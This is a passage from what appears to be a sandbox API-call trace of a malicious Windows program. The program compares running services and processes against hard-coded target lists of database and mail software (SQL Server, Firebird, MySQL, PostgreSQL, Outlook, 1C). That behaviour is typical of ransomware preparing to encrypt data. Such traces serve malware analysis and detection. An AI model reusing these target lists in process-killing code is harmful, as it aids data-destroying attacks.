returned 1 [0084.215] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0084.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0084.215] lstrlenW (lpString="SENS") returned 4 [0084.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0084.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0084.215] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0084.215] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0084.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0084.216] lstrlenW (lpString="ShellHWDetection") returned 16 [0084.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0084.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0084.216] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0084.216] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0084.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0084.216] lstrlenW (lpString="Spooler") returned 7 [0084.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0084.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0084.216] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0084.216] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0084.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0084.216] lstrlenW (lpString="SysMain") returned 7 [0084.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0084.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0084.216] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0084.217] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0084.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0084.217] lstrlenW (lpString="Themes") returned 6 [0084.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0084.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0084.217] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0084.217] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0084.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0084.217] lstrlenW (lpString="TrkWks") returned 6 [0084.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0084.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0084.217] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0084.217] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0084.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0084.217] lstrlenW (lpString="UxSms") returned 5 [0084.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0084.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0084.217] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0084.217] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0084.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0084.217] lstrlenW (lpString="VSS") returned 3 [0084.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0084.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0084.217] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0084.217] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0084.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0084.217] lstrlenW (lpString="WdiServiceHost") returned 14 [0084.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0084.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0084.217] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0084.218] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0084.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0084.218] lstrlenW (lpString="WdiSystemHost") returned 13 [0084.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0084.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0084.218] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0084.218] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0084.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0084.218] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0084.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0084.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0084.218] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0084.218] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0084.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0084.218] lstrlenW (lpString="Winmgmt") returned 7 [0084.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0084.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0084.218] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0084.218] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0084.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0084.218] lstrlenW (lpString="WPDBusEnum") returned 10 [0084.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0084.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0084.218] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0084.218] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0084.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0084.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39777a0 | out: hHeap=0x5b0000) returned 1 [0084.219] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ac [0084.223] Process32FirstW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0084.224] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0084.224] lstrlenW (lpString="System") returned 6 [0084.224] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0084.224] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0084.224] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0084.224] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0084.224] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0084.224] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0084.224] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0084.225] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0084.225] lstrlenW (lpString="smss.exe") returned 8 [0084.225] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0084.225] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0084.225] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0084.225] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0084.225] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0084.225] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0084.225] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0084.225] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0084.226] lstrlenW (lpString="csrss.exe") returned 9 [0084.226] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0084.226] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0084.226] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0084.226] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0084.226] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0084.226] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0084.226] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0084.226] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0084.227] lstrlenW (lpString="wininit.exe") returned 11 [0084.227] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0084.227] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0084.227] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0084.227] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0084.227] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0084.227] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0084.227] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0084.227] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0084.228] lstrlenW (lpString="csrss.exe") returned 9 [0084.228] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0084.228] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0084.228] lstrlenW (lpString="winlogon.exe") returned 12 [0084.229] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0084.229] lstrlenW (lpString="services.exe") returned 12 [0084.229] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0084.230] lstrlenW (lpString="lsass.exe") returned 9 [0084.230] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0084.230] lstrlenW (lpString="lsm.exe") returned 7 [0084.231] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.231] lstrlenW (lpString="svchost.exe") returned 11 [0084.231] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.232] lstrlenW (lpString="svchost.exe") returned 11 [0084.232] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.232] lstrlenW (lpString="svchost.exe") returned 11 [0084.233] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.233] lstrlenW (lpString="svchost.exe") returned 11 [0084.233] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.234] lstrlenW (lpString="svchost.exe") returned 11 [0084.234] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0084.234] lstrlenW (lpString="audiodg.exe") returned 11 [0084.234] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.235] lstrlenW (lpString="svchost.exe") returned 11 [0084.235] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.235] lstrlenW (lpString="svchost.exe") returned 11 [0084.236] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0084.236] lstrlenW (lpString="dwm.exe") returned 7 [0084.236] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0084.237] lstrlenW (lpString="explorer.exe") returned 12 [0084.237] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0084.237] lstrlenW (lpString="spoolsv.exe") returned 11 [0084.237] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.238] lstrlenW (lpString="svchost.exe") returned 11 [0084.238] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0084.238] lstrlenW (lpString="taskhost.exe") returned 12 [0084.238] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0084.239] lstrlenW (lpString="taskeng.exe") returned 11 [0084.239] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wilson-homeless-extension.exe")) returned 1 [0084.240] lstrlenW (lpString="wilson-homeless-extension.exe") returned 29 [0084.240] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="while damaged.exe")) returned 1 [0084.240] lstrlenW (lpString="while damaged.exe") returned 17 [0084.240] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="hosted_thee.exe")) returned 1 [0084.241] lstrlenW (lpString="hosted_thee.exe") returned 15 [0084.241] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="covering-secretariat.exe")) returned 1 [0084.241] lstrlenW (lpString="covering-secretariat.exe") returned 24 [0084.241] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="herself-neo-wheat.exe")) returned 1 [0084.242] lstrlenW (lpString="herself-neo-wheat.exe") returned 21 [0084.242] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="institution-population-samples.exe")) returned 1 [0084.243] lstrlenW (lpString="institution-population-samples.exe") returned 34 [0084.243] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacteddecidedmurder.exe")) returned 1 [0084.243] lstrlenW (lpString="contacteddecidedmurder.exe") returned 26 [0084.243] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="l_greene_go.exe")) returned 1 [0084.244] lstrlenW (lpString="l_greene_go.exe") returned 15 [0084.244] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="informative-switches-zones.exe")) returned 1 [0084.244] lstrlenW (lpString="informative-switches-zones.exe") returned 30 [0084.244] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spots wm.exe")) returned 1 [0084.245] lstrlenW (lpString="spots wm.exe") returned 12 [0084.245] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="epa_spirituality.exe")) returned 1 [0084.246] lstrlenW (lpString="epa_spirituality.exe") returned 20 [0084.246] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lp imagination.exe")) returned 1 [0084.246] lstrlenW (lpString="lp imagination.exe") returned 18 [0084.246] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="guilty_shed_brandon.exe")) returned 1 [0084.247] lstrlenW (lpString="guilty_shed_brandon.exe") returned 23 [0084.247] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disaster_rapidly_permanent.exe")) returned 1 [0084.497] lstrlenW (lpString="disaster_rapidly_permanent.exe") returned 30 [0084.497] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary teach.exe")) returned 1 [0084.498] lstrlenW (lpString="voluntary teach.exe") returned 19 [0084.498] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="languagemonacotoll.exe")) returned 1 [0084.499] lstrlenW (lpString="languagemonacotoll.exe") returned 22 [0084.499] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="jesse.exe")) returned 1 [0084.500] lstrlenW (lpString="jesse.exe") returned 9 [0084.500] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="partners_format.exe")) returned 1 [0084.501] lstrlenW (lpString="partners_format.exe") returned 19 [0084.501] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="predict.exe")) returned 1 [0084.502] lstrlenW (lpString="predict.exe") returned 11 [0084.502] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="supervisor.exe")) returned 1 [0084.503] lstrlenW (lpString="supervisor.exe") returned 14 [0084.503] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0084.503] lstrlenW (lpString="3dftp.exe") returned 9 [0084.503] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0084.504] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0084.504] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0084.505] lstrlenW (lpString="alftp.exe") returned 9 [0084.505] Process32NextW (in: hSnapshot=0x1ac, lppe=0x21cfd34 | out: 